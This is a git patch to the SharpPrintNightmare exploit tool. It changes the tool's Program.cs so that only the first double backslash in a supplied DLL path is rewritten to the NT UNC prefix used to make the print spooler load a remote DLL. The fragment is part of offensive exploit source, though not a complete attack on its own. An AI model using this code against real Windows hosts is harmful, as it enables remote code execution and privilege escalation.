From 86156cfce5639178740e497472c524246abd5169 Mon Sep 17 00:00:00 2001 From: "Mr.Un1k0d3r" Date: Tue, 20 Jul 2021 11:25:20 -0400 Subject: [PATCH] Update Program.cs --- SharpPrintNightmare/SharpPrintNightmare/Program.cs | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/SharpPrintNightmare/SharpPrintNightmare/Program.cs b/SharpPrintNightmare/SharpPrintNightmare/Program.cs index 2a7b7c9..8cdabdc 100644 --- a/SharpPrintNightmare/SharpPrintNightmare/Program.cs +++ b/SharpPrintNightmare/SharpPrintNightmare/Program.cs @@ -70,7 +70,10 @@ namespace SharpPrintNightmare dllpath = args[0]; if (dllpath.Contains("\\\\")) { - dllpath = dllpath.Replace("\\\\", "\\??\\UNC\\"); + // only replace the first occurence of \\\\ + string pattern = "\\\\"; + int position = dllpath.IndexOf("\\\\"); + dllpath = dllpath.Remove(position, pattern.Length).Insert(position, "\\??\\UNC\\"); } if (args.Length > 2)